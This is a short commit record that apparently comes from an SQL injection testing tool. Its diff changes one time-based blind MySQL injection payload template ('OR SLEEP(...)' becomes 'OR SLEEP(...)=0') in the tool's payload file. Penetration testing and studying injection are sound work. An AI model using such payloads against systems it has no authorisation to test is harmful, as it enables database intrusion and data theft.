found a fix for a OR time-based MySQL payload :)

stamparm · stamparm · commit 1ba98dc9ec8c · 2010-12-07T00:31:46.000Z
diff --git a/xml/payloads.xml b/xml/payloads.xml
@@ -1570,7 +1570,7 @@ Formats:
         <where>2</where>
         <vector>OR IF(([INFERENCE]), [RANDNUM], SLEEP([SLEEPTIME]))</vector>
         <request>
-            <payload>OR SLEEP([SLEEPTIME])</payload>
+            <payload>OR SLEEP([SLEEPTIME])=0</payload>
         </request>
         <response>
             <time>[SLEEPTIME]</time>
